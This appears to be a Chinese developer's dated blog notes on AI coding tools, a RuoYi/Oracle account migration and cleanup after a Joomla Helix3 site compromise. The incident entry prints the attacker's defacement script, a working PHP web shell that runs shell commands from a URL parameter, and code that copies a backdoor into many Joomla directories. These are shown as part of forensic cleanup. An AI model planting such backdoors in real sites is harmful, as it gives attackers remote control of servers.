2026-07-12 21:55:13
https://github.com/Fokkyp/SoftwareCopyright-Skill
这个仓库有 4k 多 star,看上去非常靠谱。而且从描述看,也很专业。例如,生成 word docx 文档时:
.NET SDK 8.0+:用于启用更完整的 DOCX OpenXML 生成和校验能力。没有 .NET SDK 也可以继续使用基础 python-docx 兜底生成。
这个技术选型就很专业。
vscode 的 github copilot 聊天窗口中输入 /skills,在弹出的菜单中选择 New Skill, 然后选择 .agents/skills 目录。例如:
C:\Users\xx.agents\skills\software-copyright-materials\SKILL.md
Python 3.10+
python3 -m pip install python-docx
我直接安装了个 .NET SDK 10。
>dotnet --info
.NET SDK:
Version: 10.0.301
Commit: 96856fd726
Workload version: 10.0.300-manifests.b0c14421
MSBuild version: 18.6.4+96856fd72
使用 software-copyright-materials 生成当前项目的软件著作权申请资料
或者
/software-copyright-materials:software-copyright-materials 读取当前目录中的项目,生成软件著作权申请资料草稿
这个 skill 确实专业,需要学习一下 skill 的写法。以后的软件交互确实会迎来大变革,搞不好都变成了对话的方式来交互。
在对话中引导安装的体验非常好,毫无疏漏。
2026-07-11 21:06:11
这是我第五次亲历 PHP 网站被黑,这次是 Joomla 的 Helix3 漏洞导致的。
打开网站的任何页面,前几秒还是正常的,过了几秒钟,页面就变成了一个全屏的吓人标语
hacked by trenggalek6etar
但是浏览器地址栏的链接并没有变化,不是之前遇到的跳X彩网站的做法。看起来是通过前端 JS 代码篡改了页面内容。伪装很强,不容易被页面防篡改程序发现。之所以会被发现,是在 Google 分析里,看到大量的搜索来源是 hacked by trenggalek6etar。
进入 Joomla 后台(后台居然是正常的,真的良心),Extensions › Templates › Styles › (your Helix3 style) › Custom Code › Custom Javascript
会看到一段 JS 代码
document.addEventListener("DOMContentLoaded", function(){
document.title = "hacked by trenggalek6etar";
document.body.innerHTML =
'<div style="position:fixed;inset:0;'
+ 'background:#0a0a0a;z-index:2147483647">'
+ ' … HACKED BY trenggalek6etar … '
+ '</div>';
});
删除它,保存即可恢复网页显示。注意需要清楚网站缓存:
参考下面链接里的介绍
https://htprotect.org/en/helix3
概述一下,就是 Joomla 的 Helix3 模板框架存在一个漏洞,允许攻击者上传恶意 PHP 文件到网站的模板目录、后台组件目录、插件核心目录等。攻击者利用这个漏洞,在网站上放置了一个全屏篡改信息的 JS 代码。Helix3 3.1.1 之前的版本有此漏洞,3.1.1 之后的版本修复了这个漏洞。这个漏洞是 2026 年 7 月初被发现的。没想到这么快就中招了。
由于网站太老了,无法升级 Helix3 版本,所以只能通过其他方式来规避被再次入侵。目前采用了两套方案:
第一,先禁用掉了 Helix3 - Ajax 插件,这是 Helix3 其中的一个插件,而这个插件是漏洞的源头。而且测试了一下,禁用之后,并没有影响网站的正常显示,也不影响网站中表单的提交,以及内容的发布。
第二,在 cloudflare 里配置了一个规则,拦截所有针对 Helix3 Ajax 插件的外部请求。
(http.request.uri.query contains "option=com_ajax" and http.request.uri.query contains "plugin=helix3")
当然,最稳妥的方式还是升级 Helix3 版本,升级到 3.1.1 或者更高版本。
查看 Joomla 根目录下的目录及文件最后修改时间,会发现近期不少目录被修改过,且增加了不少随机文件名目录及文件。例如:
drwxr-xr-x 40 12288 Jul 11 02:02 tmp
-rw-r--r-- 1 448 Jul 10 15:20 zzwzm.php.json
drwxr-xr-x 23 4096 Jul 10 15:20 .
-rw-r--r-- 1 25 Jul 6 21:22 cox.json
drwxr-xr-x 11 4096 Jul 5 23:00 templates
drwxr-xr-x 92 4096 Jul 3 21:24 media
drwxr-xr-x 6 4096 Jul 3 15:21 cache
drwxr-xr-x 4 4096 Jul 2 21:05 gzfxw
drwxr-xr-x 4 4096 Jul 2 19:38 utavg
drwxr-xr-x 4 4096 Jul 2 14:18 jiptm
随便打开一个看看:
# cat cox.json
hacked by trenggalek6etar
templates 目录下也有不少被修改过的目录,同样多了不少随机文件名目录:
# ls -lah templates/
total 52K
drwxr-xr-x 11 4.0K Jul 5 23:00 .
drwxr-xr-x 23 4.0K Jul 10 15:20 ..
drwxr-xr-x 3 4.0K Jul 9 2024 cassiopeia
-rw-r--r-- 1 25 Jul 6 21:22 cox.json
-rw-r--r-- 1 31 Feb 13 2024 index.html
drwxr-xr-x 4 4.0K Jul 5 23:00 pokkvswt
drwxr-xr-x 2 4.0K Jul 3 15:21 protostar
drwxr-xr-x 13 4.0K Jul 9 2024 shaper_helixultimate
drwxr-xr-x 12 4.0K Jul 9 2024 shaper_revibe
drwxr-xr-x 2 4.0K Jul 9 2024 system
drwxr-xr-x 4 4.0K Jun 29 20:27 uhnihlor
drwxr-xr-x 4 4.0K Jul 3 15:43 viavvdvv
drwxr-xr-x 4 4.0K Jul 4 19:15 vrvetvzu
打开看看:
# cat templates/vrvetvzu/fonts/tvkuri.Php
<?php @error_reporting(0);if(!empty($_GET["cmd"])){echo @shell_exec($_GET["cmd"]);exit;}echo "SPBPWN42";?>
标准的远程命令执行后门,访问这个 PHP 文件时,如果 URL 里带上 cmd 参数,就可以执行任意命令。
还有其他的后门程序,总之应有尽有:
// Find kir.php source
$cands=array(__DIR__.'/kir.php',__DIR__.'/fonts/kir.php',dirname(__DIR__).'/fonts/kir.php',dirname(__DIR__).'/kir.php',dirname(dirn
ame(__DIR__)).'/fonts/kir.php');
$src='';
foreach($cands as $c){if(file_exists($c)&&filesize($c)>100){$src=$c;break;}}
if(!$src)die('NO_SRC');
$d=file_get_contents($src);
if(!$d||strlen($d)<100)die('NO_READ');
// Find Joomla root by looking for configuration.php
$root=false;
$dirs=array(dirname(dirname($src)),dirname(dirname(dirname($src))),dirname(dirname(dirname(dirname($src)))));
foreach($dirs as $dd){
if(file_exists($dd.'/configuration.php')){$root=$dd;break;}
}
if(!$root)$root=dirname(dirname($src));
$targets=array(
'cache/com_content/kir.php',
'images/headers/kir.php',
'images/sampledata/fruitshop/kir.php',
'images/banners/kir.php',
'plugins/system/log/kir.php',
'components/com_wrapper/views/kir.php',
'layouts/joomla/html/kir.php',
'administrator/components/com_cpanel/helpers/kir.php',
'media/plg_captcha_recaptcha/kir.php',
'libraries/vendor/phpmailer/src/kir.php',
'libraries/vendor/smautocomplete/kir.php',
'modules/mod_custom/tmpl/kir.php',
'templates/protostar/kir.php',
'tmp/.session_cache/kir.php',
'cache/page/kir.php',
);
$results=array();
然后还会发现其他地方的奇怪文件
# grep trenggalek6etar -r .
./tmp/cox.json:hacked by trenggalek6etar
./media/cox.json:hacked by trenggalek6etar
./images/16a4bcea4749ed_cox.txt:hacked by trenggalek6etar
./images/16a4bceb04530e_cox.txt:hacked by trenggalek6etar
./images/cox.json:hacked by trenggalek6etar
./images/cox.txt:hacked by trenggalek6etar
/images# ls -lat
total 11877
drwxr-xr-x 20 4096 Jul 11 04:29 ..
-rw-r--r-- 1 25 Jul 6 21:22 cox.json
-rw-r--r-- 1 25 Jul 6 15:50 16a4bceb04530e_cox.txt
-rw-r--r-- 1 25 Jul 6 15:49 16a4bcea4749ed_cox.txt
drwxr-xr-x 1 0 Jul 5 22:59 pokkvswt
drwxr-xr-x 1 0 Jul 4 19:14 vrvetvzu
drwxr-xr-x 1 0 Jul 3 15:42 viavvdvv
drwxr-xr-x 1 0 Jul 3 07:19 sampledata
drwxr-xr-x 1 0 Jun 29 20:27 uhnihlor
-rw-r--r-- 1 121732 Jun 23 23:15 cox.gif
-rw-r--r-- 1 25 Jun 23 23:15 cox.txt
drwxr-xr-x 1 0 Jun 22 19:37 p66olgw3
drwxr-xr-x 1 0 Jan 4 2026 2026
最后做一波检查,看 2026年6月10日 至 7月12日 之间被改动的 PHP 文件
find . -type f -name "*.php" -newermt "2026-06-10" ! -newermt "2026-07-12" -ls
黑客在利用漏洞修改了 custom js 之后,同时把之前的自定义样式重置了。
可以通过备份找到 template_styles 这个表,把数据重新导入即可。所以,数据库备份还是非常重要的。
2026-07-10 20:19:29
参考下面的配置文件
framework\config\SecurityConfig.java
只要实现一个自定义的 PasswordEncoder 接口,就可以在 RuoYi 框架中使用不同的加密方案。
/**
* 身份验证实现
*/
@Bean
public AuthenticationManager authenticationManager()
{
DaoAuthenticationProvider daoAuthenticationProvider = new DaoAuthenticationProvider();
daoAuthenticationProvider.setUserDetailsService(userDetailsService);
daoAuthenticationProvider.setPasswordEncoder(bCryptPasswordEncoder()); // 注入自定义加密器
return new ProviderManager(daoAuthenticationProvider);
}
/**
* 强散列哈希加密实现
*/
@Bean
public BCryptPasswordEncoder bCryptPasswordEncoder()
{
return new BCryptPasswordEncoder();
}
替换之后,需要注意将原来的 admin 账号的密码也要重新加密,否则无法登录。
触发器本身不支持对已有数据进行全量同步。触发器的设计初衷是响应DML事件(INSERT、UPDATE、DELETE),只处理当前操作的新增或修改行,不会触碰已经存在的历史数据。
通过判断两张表的数据总量来判断是否一致。
使用 DBMS_CRYPTO
CREATE OR REPLACE FUNCTION ACCOUNT_PWD_MD5(p_str IN VARCHAR2)
RETURN VARCHAR2
IS
BEGIN
-- DBMS_CRYPTO.HASH 返回RAW类型,用LOWER转为小写
RETURN LOWER(RAWTOHEX(DBMS_CRYPTO.HASH(UTL_I18N.STRING_TO_RAW(p_str, 'AL32UTF8'), DBMS_CRYPTO.HASH_MD5)));
END ACCOUNT_PWD_MD5;
/
其实用不到这个功能,因为原来的用户表中已经有了 MD5 的密码字段 PASSWD,直接使用这个字段就可以了。
不需要自己在数据库触发器里再去计算 MD5 了。
修改 RuoYi 的修改密码逻辑,修改密码时,直接修改旧系统账号表的密码和密码修改时间字段,依赖旧账号表的触发器来同步到 RuoYi 的账号表中。
其他的账号信息的修改,例如账号禁用,之类的操作,也可以通过修改旧系统账号表来实现,依赖触发器来同步到 RuoYi 的账号表中。
TRG_SYSUSER_SYNC 已编译 (出现错误)
任务已取消:
INSERT INTO xxx
ORA-04098: 触发器 'xxx.TRG_SYSUSER_SYNC' 无效且未通过重新验证
ORA-06512: 在 line 1
https://docs.oracle.com/error-help/db/ora-04098/
保存对表 "xxx"."SYSUSER" 的更改时出现一个错误:
行 1: ORA-04098: 触发器 'xxx.TRG_SYSUSER_SYNC' 无效且未通过重新验证
ORA-06512: 在 line 1
https://docs.oracle.com/error-help/db/ora-04098/
排查方法:
-- 查看当前用户下所有无效对象的编译错误
SELECT * FROM USER_ERRORS WHERE NAME = 'TRG_SYSUSER_SYNC';
显示错误:
TRG_SYSUSER_SYNC TRIGGER 1 67 17 PL/SQL: ORA-02289: 序列不存在 ERROR 0
TRG_SYSUSER_SYNC TRIGGER 2 6 9 PL/SQL: SQL Statement ignored ERROR 0
估计是因为在新表插入记录时,把 user_id 字段设置为 seq_sys_user.NEXTVAL, 但是 seq_sys_user 序列还没有创建,导致触发器编译失败。
序列(SEQUENCE) 是Oracle中一个独立的数据库对象,专门用来生成一系列唯一的数字。它就像一个“数字发号器”,不依附于任何特定的表。
你可以把它想象成一个全局计数器:
从 Oracle 12c 开始,Oracle终于原生支持了类似MySQL的 AUTO_INCREMENT 语法,叫做 IDENTITY 列。
之前则需要使用序列和触发器来模拟自增主键的行为。
CREATE SEQUENCE seq_sys_user
START WITH 1
INCREMENT BY 1
NOCACHE
NOCYCLE;
如何查看一个指定序列是否存在?
SELECT * FROM USER_SEQUENCES WHERE SEQUENCE_NAME = 'SEQ_SYS_USER';
果然,测试环境中没有这个序列,而生产环境却有这个序列。
创建完成后,再次插入 sysuser 表的记录,触发器就可以正常工作了。
有一点不完美的地方是,如果新表中已经有了一条记录,那么这个序列的起始值就不能从 1 开始了,否则会出现主键冲突的错误。
需要设置为 start with 当前表中最大 user_id 的值加 1。
2026-07-09 18:32:25
今天尝试了一下使用飞书多维表格来开发 MES 系统的用户反馈功能。
还是自建比较好,使用模板容易流于形式。
在建好数据表之后,并且设置了表格字段,就能通过飞书内置的 AI 自动生成仪表盘了,非常方便。
因为系统是用 RuoYi Vue 开发的(SpringBoot + Vue ElementUI), 所以想在前端的每个页面的底部都加上一个“问题反馈”按钮,点击按钮,就能打开一个新的前端页面,里面是飞书多维表格的反馈表单的二维码图片,图片下方提示“请打开手机飞书扫一扫,提交反馈”。
然后,下方再加上一个链接“电脑端反馈请点击这里”,显示电脑端反馈的链接。
这个页面,拥有独立的前端路由,路由路径为 /feedback,没有放在弹窗里提示,是为了方便统计这个反馈页面的打开次数。
最后花了半个小时搞定,确实非常方便,以后很多公司内部的系统开发需求,大概是不需要程序员了。。。
2026-07-08 21:08:54
在当前项目的开发中,我同时使用了 GitHub copilot 和 codebuddy (公司用的是这个,但是额度有限,不够用),但是两个 AI 工具的配置目录不同,是否可以实现一个工具自动同步这两个目录呢?
首先,对比两者的项目级配置目录名字及结构的不同。
这里路径级的意思是,针对项目中不同的路径,可以有不同的 instruction 文件。例如,在文件的开头加上
---
applyTo: "**/*.ts,**/*.tsx"
---
则是针对项目中所有的 ts 和 tsx 文件生效。
https://www.codebuddy.cn/docs/cli/codebuddy-dir
.codebuddy/
├── settings.json # 项目共享配置
├── settings.local.json # 本地个人配置(.gitignore 自动忽略)
├── CODEBUDDY.md # 项目级记忆文件
│
├── agents/ # 项目级自定义子代理
├── rules/ # 项目级规则文件
├── skills/ # 项目级技能
├── commands/ # 自定义斜杠命令
codebuddy 这个 rules 目录跟 github copilot 的 instructions 目录并不是一回事。
.codebuddy/rules/
├── code-style.md # 代码风格规范
├── testing.md # 测试规范
├── security.md # 安全要求
└── frontend/
├── react.md # React 组件规范
└── styles.md # 样式规范
用 Python 写一个脚本,按照上述步骤来即可。
前提是,先规整一下 .codebuddy 目录的下的所有文件,确保包含了此前 .github 目录下的所有 instruction 文件。
可以新建一个 .vscode/tasks.json 文件,配置一个任务,执行这个脚本。这样就可以通过 Ctrl+Shift+P -> Run Task 快速运行。或者直接快捷键 Ctrl+Shift+B 运行默认的 build 任务。
{
"version": "2.0.0",
"tasks": [
{
"label": "Sync AI Config",
"type": "shell",
"command": "python tools/sync_ai_config.py",
"problemMatcher": [],
"group": {
"kind": "build",
"isDefault": true
},
"presentation": {
"reveal": "always",
"panel": "new"
}
}
]
}
我本以为可以直接通过软连接的方式就能解决,但是发现不同 AI 工具的配置目录结构也不同。所以还是写个脚本做同步比较好。
一直闷头做迁移太枯燥了,不如迁移几个功能后,把需要手动处理的操作,做成自动化工具。即可以提高效率,还能放松一下心情。
2026-07-02 21:55:16
最近一周在重构一套十几年前的 jsp 项目,要改造成 springboot 加 vue 的技术栈。我接手了其中一个模块,大概5个子模块,十几个功能。先用 GitHub copilot 里的 Gemini 3 试写了一下,发现效果不太好,不过倒是积累了一堆 instruction 提示词。接着用 gpt 5.4 逐个子模块实现了一遍。由于我是 GitHub copilot 年费会员,还是按次计费,所以进入调试阶段,用按次计费的方式就不太合算了。
于是我切换到了公司提供的 workbuddy / codebuddy,每个月有 2000 积分额度。这种类 token 使用量计费的方式,还挺适合修复小 bug,做功能微调的。毕竟每次消耗的token 都不多,也能节省我的 GitHub copilot 配额。
但是,codebuddy 感觉还是不够成熟:
一是,里面的 DeepSeek 4 pro 模型居然有日限额。这个我非常不理解,既然都已经按积分计费了,为啥还要限制使用频率?
二是,非常不稳定,半天遇到两次,执行一会就没用响应了。也不提示超时,就卡在那里。总之,细节很不上心。估计也是不重视,投入的资源不够。
三是,看不到剩余积分,看不到具体模型的积分消耗差异,我只能开个 workbuddy 看剩余积分👀
至于 workbuddy,我不是很喜欢这种模式,毕竟这种迁移工程,需要同时打开三个 git 项目。workbuddy 只能打开一个目录作为工作空间,而不能像 vscode 中添加多个目录到工作区。我也需要不断确认重构后的 sql 是否有问题,还是 vscode 加 GitHub copilot 这种方式更适合代码重构。最终,workbuddy 沦为了我查看剩余积分的客户端🥲 对了,还有一点要吐槽,里面的混元模型简直了,弱智到让人震惊。
回到迁移重构的正题上。我发现越做效率越高。从一天一个功能,到一天八个功能。但是,我依旧没用找到能自动化测试验证迁移正确性的好方法。不够,纯靠手工测试,也不是没用益处,至少我在手工测试过程中,对业务流程有了更深的理解。而如果纯粹靠 ai 去自动执行,我可能连业务都不了解。也无从判断是否迁移成功。
前两天,有个公众号的粉丝建议我了解一下 vibecoding 工程化,我搜了一下没找到特别好的资料。但是,这一周的实践,我感觉不断把发现的问题,补充到项目全局 instruction,效率就能稳步提高。同时,需要不断把人工操作变成自动化。自动化一是能提高效率,规避人工操作的不确定性,二是能在开发过程中获得成就感,不至于沦为无脑拉磨的驴。
还有一些其他的感悟,比如在 ai 频繁修改过程中 git 使用方式也有所变化。改天再整理一篇。太困了,最近变成早晨五点起床,睡觉🌙